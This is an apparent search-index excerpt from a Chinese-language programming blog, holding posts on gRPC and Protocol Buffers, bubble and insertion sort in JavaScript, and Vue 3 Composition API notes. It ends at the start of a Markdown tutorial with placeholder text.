透過特定的 Endpoint，給予符合的資料型別 Server 建立 API 的方式 根據文件（Protocol Buffer）實作功能，不需要額外檢查資料型別與方法正確性。 根據文件（Swagger）實作功能，但須額外檢查資料型別。 根據文件產生程式碼 Protocol Buffers OpenAPI / Swagger 此外，gRPC 的 server，預設就是非同步的，因此不會阻塞任何進來的請求，並可以平行處理多個請求。gRPC Client 則可以選擇要用同步（阻塞）或非同步的方式處理。\n使用 Protocol Buffers 的好處 節省網路傳輸量：速度更快、檔案更小 節省 CPU 消耗：Parse JSON 本身是 CPU intensive 的任務；Parse Protocol Buffer（binary format）因為更接近底層機器表徵資料的方式，消耗的 CPU 資源較低 跨程式語言：Protocol Buffer 可以根據不同的程式語言編譯出不同的檔案 可以寫註解、型別清楚明確 TIP\n節省網路傳輸量和 CPU 消耗在行動裝置上的影響可能更重要。\n跨程式語言的好處 透過 Protocol Buffer 定義好資料的傳輸欄位（message）和呼叫的方法（service）後，gRPC 即可在不同程式語言上運行，這非常適合微服務（micro-services）的應用情境，只要雙方一起定義好 schema 後，就可以用不同的程式語言進行開發。\n使用 HTTP/2 的好處 HTTP/2 vs HTTP/1 - Performance Comparison? Demo：Performance difference between HTTP2 and HTTP1.1 瀏覽器允許的併發請求資源數是有限制的-分析 @ ITRead01 傳統的 HTTP/1.1 在每個 TCP 連線中只允許向 server 發送單一個請求，但當網頁載入時，往往會需要向同一個伺服器發送多個請求（例如、圖檔、CSS、靜態檔、JS 等），因此為了要避開這樣的限制、加快載入的速度，瀏覽器會實作多個平行的（parallel） TPC 連線（每個瀏覽器實作不同，因此數量的上限也不同），以處理同時向伺服器發出的多個請求。\n在 HTTP/2 中則可在同一個 TCP 連線中進行多個請求和回應，並且可以由 server 主動推送資源給 client，而並非一定要透過 client 主動請求；此外支援 HTTP Header 的壓縮，減少資料傳數量；HTTP/2 也是使用 binary 的方式在傳輸資料。\ngRPC 的四種類型 Unary：類似傳統 API，client 發送 request 而 server 回傳 response Server Streaming：透過 HTTP/2，client 發送一次 request，而 server 可以回傳多次資料 Client Streaming：client 發送多次資料，直到告知 server 資料傳完後，server 再給予 response Bi Directional Streaming：兩邊都用串流的方式傳送資料 圖片來源：gRPC Golang - Master Class: Build Modern API \u0026amp; MicroServices @ Udemy\n1 2 3 4 5 6 7 8 9 10 11 12 13 service GreetService { // Unary rpc Greet(GreetRequest) returns (GreetResponse) {}; // Streaming Server rpc GreetManyTimes(GreetManyTimesRequest) returns (stream GreetManyTimesResponse) {}; // Streaming Client rpc LongGreet(stream LongGreetRequest) returns (LongGreetResponse) {}; // Bi-directional Streaming rpc GreetEveryone(stream GreetEveryoneRequest) returns (stream GreetEveryoneResponse) {}; } gRPC 的缺點 Protocol Buffer 不像 JSON 是 Human Readable。 需要額外的學習時間和導入成本。 瀏覽器原生目前還不支援，須透過套件 grpc-web 來處理。 其他 推薦工具 BloomRPC：方便用來模擬 Client 對 gRPC server 發送請求，功能就類似在 Restful 中使用的 Postman。 錯誤排除 protoc-gen-go: program not found or is not executable\n1 2 # 需要把 $GOPATH/bin 加到 .zshrc/.bashrc 等 $ echo \u0026#39;export PATH=$PATH:$GOPATH/bin\u0026#39; \u0026gt;\u0026gt; $HOME/.zshrc 參考資料 Go Tutorial @ gRPC.io Introduction to gRPC @ gRPC.io Protocol Buffers @ Google Developer gRPC - Golang Master Class: Build Modern API \u0026amp; MicroServices @ Udemy 比較 gRPC 服務與 HTTP API @ Microsoft Docs ","date":"2022-07-22T00:00:00Z","image":"https://live.staticflickr.com/65535/52276040314_2afa0e7026_o.png","permalink":"https://blog.wayne-project.com/2022-07-22/grpc-basic-introduction/","title":"gRPC 基本介紹"},{"content":" 參考網站 - JavaScript 資料結構與演算法：氣泡排序 Bubble Sort、插入排序 Insertion Sort 實作與分析 - 彭彭直播\n排序演算法 氣泡排序法(bubble sort) 概要 使用雙層迴圈，由後往前。 每輪固定最右邊的值，接著倆倆比較大小，將大的放右邊。 下輪則 - 1。 完畢後即可排序完畢。 執行的總輪數為陣列長度 - 1。 時間複雜度 如果陣列長度是 4，要比對 3+2+1 總共 6 次。 如果陣列長度是 7，要比對 6+5+\u0026hellip;+1 總共 21 次。 如果陣列長度是 n，要比對 (n-1)+(n-2)+\u0026hellip;+1 總共\n(n * (n - 1)) / 2 = n²/2 - n/2 次 搜尋所需時間隨著陣列的長度\n呈平方成長 O(N²)。 假設 可以加入一個 flag 來做判定，假設比較完第一輪發現沒有交換的情況發生，則代表已經排序完成，不需要再跑下一輪，即可稍微優化排序。 實作 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 // 實作氣泡排序演算法 function bubbleSort(arr){ // arr 是一個數字陣列 for(let i=arr.length-1;i\u0026gt;=1;i--){ let swap=false; // 假設沒有交換發生 for(let j=0;j\u0026lt;i;j++){ if(arr[j]\u0026gt;arr[j+1]){ // 如果順序不對，交換 let temp=arr[j]; arr[j]=arr[j+1]; arr[j+1]=temp; swap=true; // 紀錄發生交換 } } if(!swap){ // 發現一整輪中都沒有交換發生，直接判定排序完成 break; } } } let data = [1, 6, 3, 4]; console.log(bubbleSort(data)); 輸出： 1 \u0026gt; [1, 3, 4, 6] 插入排序法(insertion sort) 概要 使用雙層迴圈，由前往後。 從第二筆開始，每輪將該筆資料往前比較大小，將大的放右邊：每輪比較從 (i - 1) ~ 0。 下輪則 + 1。 完畢後即可排序完畢。 執行的總輪數為陣列長度 - 1。 時間複雜度(複雜度同氣泡排序法) 如果陣列長度是 4，要比對 1+2+3 總共 6 次。 如果陣列長度是 7，要比對 1+2+\u0026hellip;+6 總共 21 次。 如果陣列長度是 n，要比對 1+2+\u0026hellip;+(n-1) 總共\n(n * (n - 1)) / 2 = n²/2 - n/2 次 搜尋所需時間隨著陣列的長度\n呈平方成長 O(N²)。 假設 假設當前比對的值與第一個要比較的值一比較，恰好正確，則代表前面皆已經排序完成，可以進到下一輪。 實作 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 // 實作插入排序演算法 function insertionSort(arr){ // arr 是一個數字陣列 for(let i=1;i\u0026lt;arr.length;i++){ for(let j=i-1;j\u0026gt;=0;j--){ if(arr[j]\u0026gt;arr[j+1]){ // 如果順序不對，交換 [arr[j], arr[j+1]]=[arr[j+1], arr[j]]; // javascript 交換的語法糖 }else{ // 任何一次比較，發現順序對了，這一輪就不用繼續了 break; } } } } let data = [1, 6, 3, 4]; console.log(insertionSort(data)); 輸出： 1 \u0026gt; [1, 3, 4, 6] 大型資料量的進階探討 O(N²)：(讀作 big-O N平方) 是相當可怕的，排序的執行時間將會是資料量的平方倍數成長。\n演示： 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 // 產生隨機資料 let data=[]; for(let i=0;i\u0026lt;100000;i++){ data.push(Math.random()*1000000); } // 資料量是 100,000，我的演算法時間複雜度是 O(N^2)，預期要花 100,000^2 = 10,000,000,000 次的比較運算 // 我們的電腦一秒鐘跑 10 億個指令(粗略預估 1 GB) console.time(); // 插入排序法，大約跑了10幾秒 //insertionSort(data); // 使用 JavaScript 內建的排序功能 sort()，大約跑了 0.2 ~ 0.3 秒 // 很有機會是使用快速排序 Quick Sort(快速排序法) 或其變形 data.sort(); console.timeEnd(); ","date":"2022-07-21T00:00:00Z","image":"https://blog.wayne-project.com/2022-07-21/bubble-sort-and-insertion-sort/hqdefault_hu_20ab52bcd0191467.jpg","permalink":"https://blog.wayne-project.com/2022-07-21/bubble-sort-and-insertion-sort/","title":"彭彭的課程 - 氣泡排序、插入排序的實作與分析"},{"content":" 參考網站 - 尚硅谷Vue3技術\n創建 Vue 3.0 工程 使用 vue cli 創建 官方文檔：https://cli.vuejs.org/zh/guide/creating-a-project.html#vue-create 1 2 3 4 5 6 7 8 9 10 11 12 ## 查看 @vue/cli 版本，確保 @vue/cli 版本在 4.5.0 以上 vue --version ## 安裝或升級你的 @vue/cli npm install -g @vue/cli ## 創建 vue create vue_test ## 啟動 cd vue_test npm run serve 使用 vite 創建(Vue作者的團隊開發) 官方文檔：https://v3.cn.vuejs.org/guide/installation.html#vite vite官網：https://vitejs.cn/ 優勢： 開發環境中，無需打包操作，可快速的冷啟動。 輕量快速的熱重載(HMR)。 真正的按需編譯，不再等待整個應用編譯完成。 傳統 grunt、gulp、webpack 與 vite 構建對比圖： 1 2 3 4 5 6 7 8 9 10 11 ## 創建工程 npm init vite-app \u0026lt;project-name\u0026gt; ## 進入工程目錄 cd \u0026lt;project-name\u0026gt; ## 安裝依賴 npm install ## 啟動 npm run dev 安裝 Vue 開發者工具 Vue.js devtools\n拉開序幕的 Setup Vue3.0 中一個新的配置項，值為一個函數。 是所有 Composition API (組合式API) 的表演舞台。 組件中所用到的數據、方法等等，均要配置在 setup 中。 setup 函數的： 若返回一個對象，則對象中的屬性、方法，在模板中均可直接使用。(重點關注!) 若返回一個渲染函數，則可以自定義渲染內容。(了解即可) 返回對象 1 2 3 4 5 6 7 8 export default { setup() { const name = \u0026#34;測試\u0026#34; return { name } } } 返回渲染函數(需引入 h ) 1 2 3 4 5 6 import { h } from \u0026#34;vue\u0026#34; export default { setup() { return () =\u0026gt; { return h(\u0026#39;h1\u0026#39;, \u0026#39;尚硅谷\u0026#39;)} } } 注意： 不要與Vue2.x配置混用。 Vue2.x配置(data、methods、computed\u0026hellip;)中可以訪問到setup中的屬性、方法，但在setup中不能訪問到Vue2.x配置(data、methods、computed\u0026hellip;)。 如果有重名，setup優先。 setup 不能是一個 async 函數，因為返回值不再是 return 的對象，而是一個 promise，模板看不到 return 對象中的屬性；後期可以返回一個 Promise 實例，但需要 Suspense 與 異步組件(動態組件) 的配合：點我前往 Suspense ref 函數 作用：定義一個響應式的數據。 語法： 1 const xxx = ref(initValue) 將數據加工成一個 RefImpl (Reference: 引用；Implete: 實現) = (引用實現的實例對象)。 js 中操作數據：xxx.value。 模板中讀取數據：\u0026lt;div\u0026gt;{{xxx}}\u0026lt;/div\u0026gt; 備註： 接收的數據可以是基本類型，也可以是對象類型。 基本類型的數據：響應式依然是靠 Object.defineProperty() 的 get 與 set 完成的。 對象類型的數據：內部求助了 Vue3.0 中的一個新函數\u0026mdash;- reactive reactive 函數 作用：定義一個對象類型的響應式數據(基本類型別用他，用ref函數)。 語法： 1 2 3 4 const xxx = reactive({ name: \u0026#34;測試\u0026#34;, age: 18 }) 接收一個對象或數組，返回一個代理對象(Proxy對象)。 reactive 定義的響應式數據是深層次的。 內部基於 ES6 的 Proxy 實現，通過代理對象操作源對象內部數據都是響應式的，並通過 Reflect 操作源對象內部的數據。 js、模板中操作數據均不需要 .value Vue 2.0 中的響應式原理 實現原理： 對象類型：通過 Object.defineProperty() 對屬性的讀取、修改進行攔截(數據劫持)。 數組類型：通過重寫更新數組的一系列方式來實現攔截。(對數組的變更方法進行了包裹)。 1 2 3 4 5 6 7 8 Object.defineProperty(data, \u0026#34;count\u0026#34;, { get() { }, set() { } }) 原理模擬： 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 let person = { name: \u0026#34;張三\u0026#34;, age: 18 } // 模擬 Vue2 中實現響應式 let p = {} Object.defineProperty(p, \u0026#34;name\u0026#34;, { configurable: true, // 允許刪除，但捕獲不到 get() { // 有人讀取 name 時調用 return person.name }, set(value) { console.log(\u0026#34;有人修改了 name 屬性，我發現了ㄛ，我要去更新介面！\u0026#34;) person.name = value } }) Object.defineProperty(p, \u0026#34;age\u0026#34;, { configurable: true, // 允許刪除，但捕獲不到 get() { // 有人讀取 age 時調用 return person.age }, set(value) { console.log(\u0026#34;有人修改了 age 屬性，我發現了ㄛ，我要去更新介面！\u0026#34;) person.age = value } }) 存在問題： 新增屬性、刪除屬性，介面不會更新，需使用 $set、$delete。 直接通過下標修改數組，介面不會更新，需使用 $set、$delete。 問題情況演示： 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 export default { data() { return { person: { name: \u0026#34;張三\u0026#34;, age: 18, hobby: [\u0026#34;學習\u0026#34;, \u0026#34;吃飯\u0026#34;] } } }, methods: { addSex() { this.person.sex = \u0026#34;女\u0026#34; // 此時畫面不會更新 this.$set(this.person, \u0026#34;sex\u0026#34;, \u0026#34;女\u0026#34;) // 需使用 $set 畫面才會更新 // 或是使用 Vue.set() // Vue.set(this.person, \u0026#34;sex\u0026#34;, \u0026#34;女\u0026#34;) }, deleteName() { delete this.person.name // 此時畫面不會更新 this.$delete(this.person, \u0026#34;name\u0026#34;) // 需使用 $delete 畫面才會更新 // 或是使用 Vue.delete() // Vue.delete(this.person, \u0026#34;name\u0026#34;) }, updateHobby() { this.person.hobby[0] = \u0026#34;逛街\u0026#34; // 此時畫面不會更新 this.$set(this.person.hobby, 0, \u0026#34;逛街\u0026#34;) // 需使用 $set 畫面才會更新 // 或是使用 splice() // this.person.hobby.splice(0, 1, \u0026#34;逛街\u0026#34;) } } } Vue 3.0 中的響應式原理 實現原理： 通過 Proxy(代理)：攔截對象中任意屬性的變化，包含屬性值的讀寫、屬性的新增、屬性的刪除等。 通過 Reflect(反射)：對被代理對象的屬性進行操作。 原理模擬： 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 let person = { name: \u0026#34;張三\u0026#34;, age: 18 } // 模擬 Vue3 中實現響應式 const p = new Proxy(person, { // 有人讀取p的某個屬性時調用 get(target, propName) { console.log(`有人讀取了p身上的${propName}屬性`) return Reflect.get(target, propName) }, // 有人新增或修改p的某個屬性時調用 set(target, propName, value) { console.log(`有人修改了p身上的${propName}屬性，我要去更新介面了！`) Reflect.set(target, propName, value) }, // 有人刪除p的某個屬性時調用 deleteProperty(target, propName) { console.log(`有人刪除了p身上的${propName}屬性，我要去更新介面了！`) return Reflect.deleteProperty(target, propName) } }) setup 的兩個注意點 setup 執行的時機：在 beforeCreate 之前執行一次，this 是 undefined。 setup 的參數 props：值為對象，包含：組件外部傳遞過來，且組件內部聲明接收了的屬性。 context：上下文對象： attrs：值為對象，包含：組件外部傳遞過來，但沒有在 props 配置中聲明的屬性，相當於 Vue 2.0 的 this.$attrs。 slots：接收的插槽內容，相當於 Vue 2.0 的 this.$slots。 emit：分發自定義事件的函數，相當於 Vue 2.0 的 this.$emit。 watch 函數 與 Vue 2.0 中的 watch 配置功能一致。 兩個小\u0026quot;坑\u0026quot;： 監視 ref 定義的響應式數據時，不需加 .value。 監視 reactive 定義的響應式數據時，oldValue 無法正確捕獲、強制開啟了深度監視(deep配置失效)。 監視 reactive 定義的響應式數據中的某個屬性時，deep 配置有效。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 import { ref, reactive, watch } from \u0026#34;vue\u0026#34; export default { setup() { const sum = ref(10) const msg = ref(\u0026#34;測試\u0026#34;) const person = reactive({ name: \u0026#34;張三\u0026#34;, age: 18, job: { job1: { salary: 20 } } }) // 情況一：監視 ref 定義的響應式數據 watch(sum, (newValue, oldValue) =\u0026gt; { console.log(\u0026#34;sum變化了\u0026#34;, newValue, oldValue) }, { immediate: true }) // 情況二：同時監視多個 ref 定義的響應式數據 watch([sum, msg], (newValue, oldValue) =\u0026gt; { console.log(\u0026#34;sum或msg變化了\u0026#34;, newValue, oldValue) }, { immediate: true }) /* * 情況三：監視 reactive 定義的響應式數據的全部屬性 * 1. 注意: 此數無法正確的獲取 oldValue * 2. 注意: 強制開啟了深度監視(deep配置無效) */ watch(person, (newValue, oldValue) =\u0026gt; { console.log(\u0026#34;person變化了\u0026#34;, newValue, oldValue) }, { immediate: true, deep: false }) // 此處的 deep 配置無效 // 情況四：監視 reactive 定義的響應式數據的某個屬性 watch(() =\u0026gt; person.name, (newValue, oldValue) =\u0026gt; { console.log(\u0026#34;person的name變化了\u0026#34;, newValue, oldValue) }, { immediate: true }) // 情況五：監視 reactive 定義的響應式數據的某些屬性 watch([() =\u0026gt; person.name, () =\u0026gt; person.age], (newValue, oldValue) =\u0026gt; { console.log(\u0026#34;person的name或age變化了\u0026#34;, newValue, oldValue) }, { immediate: true }) // 特殊情況：監視 reactive 定義的響應式數據的某些對象屬性 watch(() =\u0026gt; person.job, (newValue, oldValue) =\u0026gt; { console.log(\u0026#34;person的job變化了\u0026#34;, newValue, oldValue) }, { immediate: true, deep: true }) // 此處由於監視的是 reactive 所定義的對象中的某個屬性，所以 deep 配置有效 return { sum, msg } } } watch 時 value 的問題 若監視的數據為 ref 求助 reactive 生成的響應式數據，則可使用以下兩種方式進行監視： 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 import { ref, watch } from \u0026#34;vue\u0026#34; export default { setup() { const sum = ref(0) const person = ref({ name: \u0026#34;張三\u0026#34;, name: 18, job: { job1: { salary: 20 } } }) watch(sum, (newValue, oldValue) =\u0026gt; { // 監視的是 sum 這個 RefImpl 數據，因此不需要 .value console.log(\u0026#34;sum的值變化了\u0026#34;, newValue, oldValue) }) // 方法一: watch(person.value, (newValue, oldValue) =\u0026gt; { // 監視 person.value 的 Proxy 對象 console.log(\u0026#34;person的值變化了\u0026#34;, newValue, oldValue) }) // 方法二: watch(person, (newValue, oldValue) =\u0026gt; { // 深度監視 person 的 Proxy 對象的屬性 console.log(\u0026#34;person的值變化了\u0026#34;, newValue, oldValue) }, { deep: true }) return { person } } } watchEffect 智能版 watch，不用指名監視哪個屬性，監視的回調中用到哪個屬性，就監視哪個屬性(而且是深層次的)。 watchEffect 有點像 computed： 但 computed 注重計算出來的值(回調函數的返回值)，所以必須要寫返回值。 而 watchEffect 更注重的是過程(回調函數的函數體)，所以不用寫返回值。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 import { ref, reactive, watchEffect } from \u0026#34;vue\u0026#34; export default { setup() { const sum = ref(0) const person = reactive({ name: \u0026#34;張三\u0026#34;, age: 18, job: { job1: { salary: 20 } } }) watchEffect(() =\u0026gt; { const x1 = sum.value const x2 = person.job.job1.salary console.log(\u0026#34;watchEffect 配置的回調執行了\u0026#34;) }) } } 自定義 hook 函數 hook 本質是一個函數，把 setup 函數中使用的 Composition API 進行了封裝。 類似於 vue 2.0 中的 mixin。 自定義 hook 的優勢：重複使用代碼，讓 setup 中的邏輯更清楚易懂。 命名通常建議以 \u0026ldquo;use\u0026rdquo; 開頭，例如： 一個獲取鼠標點擊位置的 hook src/hooks/usePoint.js 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 import { reactive, onMounted, onBeforeUnmount} from \u0026#34;vue\u0026#34; export default function() { // 獲取鼠標點擊位置 相關的數據 let point = reactive({ x: 0, y: 0 }) // 獲取鼠標點擊位置 相關的方法 function savePoint(event) { console.log(event.pageX, event.pageY) point.x = event.pageX point.y = event.pageY } // 獲取鼠標點擊位置 相關的生命週期鉤子 onMounted(() =\u0026gt; { window.addEventListener(\u0026#34;click\u0026#34;, savePoint) }) onBeforeUnmount(() =\u0026gt; { window.removeEventListener(\u0026#34;click\u0026#34;, savePoint) }) return point } Demo.vue 1 2 3 4 5 6 7 8 9 10 11 12 13 import usePoint from \u0026#34;@/hooks/usePoint\u0026#34; export default { name: \u0026#34;Demo\u0026#34;, setup() { // 使用自定義的 hook const point = usePoint() return { point } } } toRef 作用：創建一個 ref 對象，其 value 值指向(引用)另一個對象中的某個屬性(返回值為一個 ObjectRefImpl 對象，為響應式)。 語法： 1 const name = toRef(person, \u0026#34;name\u0026#34;) 應用：要將響應式對象中的某個屬性單獨提供給外部使用時。 擴展：toRefs 與 toRef 功能一致，但可以批量創建多個 ref 對象，語法： 1 toRefs(person) 使用範例： 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 import { reactive, toRef, toRefs} from \u0026#34;vue\u0026#34; export default { setup() { let person = reactive({ name: \u0026#34;張三\u0026#34;, age: 18, job: { job1: { salary: 20 } } }) const name1 = person.name // name1 僅為賦值，無響應式 const name2 = toRef(person, \u0026#34;name\u0026#34;) // name2 的值會指向(引用) person 的 name return { // errors： // name1: person.name, // 僅為賦值，無響應式 // name2: ref(person.name) // 初始值正常，但修改時不會改到 person 的 name，因為此寫法僅是將 \u0026#34;ref(pserson.name)\u0026#34; 賦值給 name2，而非將 name2 指向 person 的 name // success： // 模板中使用 {{ person.name }}...等： // person, // 一個一個給出，模板中使用 {{ name }}...等： // name: toRef(person, \u0026#34;name\u0026#34;), // age: toRef(person, \u0026#34;age\u0026#34;), // salary: toRef(person.job.job1, \u0026#34;salary\u0026#34;) // 一次全給出，模板中可直接使用 {{ name }}、{{ age }}、{{ job.job1.salary }} ...toRefs(person) } } } 其他的 Composition API 1. shallowReactive 與 shallowRef shallow：淺層的 shallowReactive：只處理對象最外層屬性的響應式(淺響應式)。 shallowRef：只處理基本數據類型的響應式，不進行對象的響應式處理。 什麼時候使用？ 如果有一個對象數據，結構比較深，但變化時只是外層屬性變化 =\u0026gt; shallowReactive。 如果有一個對象數據，後續功能不會修改該對象中的屬性，而是生成新的對象來替換 =\u0026gt; shallowRef。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 import { shallowRef, shallowReactive, toRefs} from \u0026#34;vue\u0026#34; export default { setup() { let person = shallowReactive({ // 只考慮第一層數據的響應式 name: \u0026#34;張三\u0026#34;, // 響應式 age: 18, // 響應式 job: { // 非響應式 job1: { salary: 20 } } }) let x = shallowRef({ // 基本類型時同 ref，但對象類型不是響應式(value 會變成一般的 Object 而不是 Proxy ) y: 0 }) return { x, ...toRefs(person) } } } 2. readonly 與 shallowReadonly readonly：讓一個響應式數據變為唯讀的(深層唯讀)。 shallowReadonly：讓一個響應式數據變為唯讀的(淺層唯讀)。 應用場景：不希望數據被修改時。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 import { ref, reactive, toRefs, readonly, shallowReadonly} from \u0026#34;vue\u0026#34; export default { setup() { let sum = ref(0) let person = reactive({ name: \u0026#34;張三\u0026#34;, age: 18, job: { job1: { salary: 20 } } }) // 將 sum 變為唯讀，保護數據不被修改 sum = readonly(sum) // 將 person 的所有屬性變為唯讀，保護所有屬性數據不被修改 person = readonly(person) // 將 person 的\u0026#34;第一層屬性數據\u0026#34;變為唯讀(name、age無法修改，但 job 可以) person = shallowReadonly(person) return { sum, ...toRefs(person) } } } toRaw 與 markRaw raw：原始。 toRaw： 作用：將一個由 reactive 生成的響應式對象轉為普通對象。 應用場景：用於讀取響應式對象對應的普通對象，對這個普通對象的所有操作，不會引起頁面更新。 markRaw： 作用：標記一個對象，使其永遠不會再成為響應式對象。 應用場景： 有些值不應被設置為響應式的，例如複雜的第三方類庫等。 當渲染具有不可變數據源的大列表時，跳過響應式轉換可以提高性能。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import { ref, reactive, toRaw, markRaw} from \u0026#34;vue\u0026#34; export default { setup() { let sum = ref(0) let person = reactive({ name: \u0026#34;張三\u0026#34;, age: 18, job: { job1: { salary: 20 } } }) function showRawPerson() { const p = toRaw(person) console.log(p) // 返回的不再是 Proxy，而是 Object } function addCar() { let car = { name: \u0026#34;奔馳\u0026#34;, price: 40} person.car = markRaw(car) // 標記 person.car 不是響應式的數據(數據依舊可修改，但畫面不會變) } return { sum, ...toRefs(person), showRawPerson, addCar } } } customRef 作用：創建一個自定義的 ref，並對其依賴項跟蹤和更新觸發進行顯示控制。 實現防抖效果： 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 \u0026lt;template\u0026gt; \u0026lt;input type=\u0026#34;text\u0026#34; v-model=\u0026#34;keyWord\u0026#34; /\u0026gt; \u0026lt;h3\u0026gt; {{ keyWord }} \u0026lt;/h3\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;script\u0026gt; import { ref, customRef } from \u0026#34;vue\u0026#34; export default { setup() { // 使用 vue 提供的 ref // let keyWord = ref(\u0026#34;hello\u0026#34;) // 自定義的一個 ref function myRef(value, delay) { let timer return customRef((track, trigger) =\u0026gt; { return { get() { console.log(`有人從 myRef 這個容器中讀取數據了，我把${value}給他了`) track() // 通知 Vue 追蹤數據的變化(提前與 get 商量一下，讓它認為這個 value 是有用的) return value }, set(newValue) { console.log(`有人把 myRef 這個容器中的數據改為了${newValue}`) clearTimeout(timer) timer = setTimeout(() =\u0026gt; { value = newValue trigger() // 通知 Vue 去重新解析模板，以便觸發 get }, delay) } } }) } // 使用自定義的防抖 ref let keyWord = myRef(\u0026#34;hello\u0026#34;, 500) return { keyWord } } } \u0026lt;/script\u0026gt; provide 與 inject 作用：實現祖孫組件間通信。 套路：父組件有一個 provide 選項來提供數據，後代組件有一個 inject 選項來開始使用這些數據。 具體寫法： 1. 祖組件中： 1 2 3 4 5 6 7 8 9 10 11 12 import { reactive, toRefs, provide } from \u0026#34;vue\u0026#34; export default { name: \u0026#34;App\u0026#34;, setup() { let car = reactive({ name: \u0026#34;奔馳\u0026#34;, price: \u0026#34;40W\u0026#34; }) provide(\u0026#34;car\u0026#34;, car) // 給自己的後代組件傳遞數據 return { ...toRefs(car) } } } 2. 後代組件中： 1 2 3 4 5 6 7 8 9 import { inject } from \u0026#34;vue\u0026#34; export default { name: \u0026#34;Son\u0026#34;, setup() { let car = inject(\u0026#34;car\u0026#34;) console.log(car) return { car } } } 響應式數據的判斷 isRef：檢查一個值是否為一個 ref 對象。 isReactive：檢查一個對象是否是由 reactive 創建的響應式代理。 isReadonly：檢查一個對象是否是由 readonly 創建的唯讀代理。 isProxy：檢查一個對象是否是由 reactive 或是 readonly 方法創建的代理。 Teleport teleport：傳送、瞬間移動。 作用：能夠將我們的 組件 html 結構 移動到指定的位置。 具體寫法： 1 2 3 4 5 6 7 8 9 10 11 12 13 \u0026lt;teleport to=\u0026#34;body\u0026#34;\u0026gt; \u0026lt;!-- to 也能寫 css select，例如 to=\u0026#34;#app\u0026#34; --\u0026gt; \u0026lt;div v-if=\u0026#34;isShow\u0026#34; class=\u0026#34;mask\u0026#34;\u0026gt; \u0026lt;div class=\u0026#34;dialog\u0026#34;\u0026gt; \u0026lt;h3\u0026gt; 我是一個彈窗 \u0026lt;/h3\u0026gt; \u0026lt;button @click=\u0026#34;isShow = false\u0026#34;\u0026gt; 關閉彈窗 \u0026lt;/button\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/teleport\u0026gt; Suspense suspense：懸疑、懸而未決的。 作用：等待異步組件時，渲染一些額外內容，讓使用者有更好的用戶體驗。 使用步驟： 異步引用組件 1 2 import { defineAsyncComponent } from \u0026#34;vue\u0026#34; // 宣告異步組件時使用 const Child = defineAsyncComponent(() =\u0026gt;. import (\u0026#34;./components/Child.vue\u0026#34;)) 使用 Suspense 包裹組件，並配置好 default 與 fallback 1 2 3 4 5 6 7 8 9 10 11 12 13 14 \u0026lt;template\u0026gt; \u0026lt;div id=\u0026#34;app\u0026#34;\u0026gt; \u0026lt;h3\u0026gt;我是App組件\u0026lt;/h3\u0026gt; \u0026lt;Suspense\u0026gt; \u0026lt;template v-slot:default\u0026gt; \u0026lt;Child /\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;template v-slot:fallback\u0026gt; \u0026lt;h3\u0026gt;加載中......\u0026lt;/h3\u0026gt; \u0026lt;/template\u0026gt; \u0026lt;/Suspense\u0026gt; \u0026lt;/div\u0026gt; \u0026lt;/template\u0026gt; 全局 API 的轉移 Vue 2.0 有許多全局 API 和配置。 例如：註冊全局組件、註冊全局指令等。 1 2 3 4 5 6 7 8 9 10 11 12 13 14 // 註冊全局組件 Vue.component(\u0026#34;MyButton\u0026#34;, { data() { return { count: 0 } }, template: \u0026#34;\u0026lt;button @click=\u0026#39;count++\u0026#39;\u0026gt;Clicked {{ count }}\u0026lt;/button\u0026gt;\u0026#34; }) // 註冊全局指令 Vue.directive(\u0026#34;focus\u0026#34;, { inserted: el =\u0026gt; el.focus() }) Vue 3.0 中對這些 API 做出了調整： 將全局的 API，即： Vue.xxx 調整到應用實例(app)上 2.0 全局 API(Vue) 3.0 實例 API(app) Vue.config.xxxx app.config.xxxx Vue.config.productionTip 移除 Vue.component app.component Vue.directive app.directive Vue.mixin app.mixin Vue.use app.use Vue.prototype app.config.globalProperties ","date":"2022-07-17T00:00:00Z","image":"https://blog.wayne-project.com/2022-07-17/atguigu-vue3-note/index_hu_718ece3164ea432d.jpeg","permalink":"https://blog.wayne-project.com/2022-07-17/atguigu-vue3-note/","title":"尚硅谷 Vue3 視頻筆記"},{"content":"Markdown 是讓你快速撰寫筆記，流暢管理知識，支援多種衍生功能的生產力工具\n標題 當您想要將一段文字標示為標題的時候，請使用這個語法。\n請在行首輸入 # 符號，並在後面加上一個空白後，再輸入標題文字。\n標題有分成 6 個層級，# 的數量愈多，層級越低。\n1 2 3 4 5 6 # 第一層級標題 h1 ## 第二層級標題 h2 ### 第三層級標題 h3 #### 第四層級標題 h4 ##### 第五層級標題 h5 ###### 第六層級標題 h6 Paragraph Xerum, quo qui aut unt expliquam qui dolut labo. Aque venitatiusda cum, voluptionse latur sitiae dolessi aut parist aut dollo enim qui voluptate ma dolestendit peritin re plis aut quas inctum laceat est volestemque commosa as cus endigna tectur, offic to cor sequas etum rerum idem sintibus eiur? Quianimin porecus evelectur, cum que 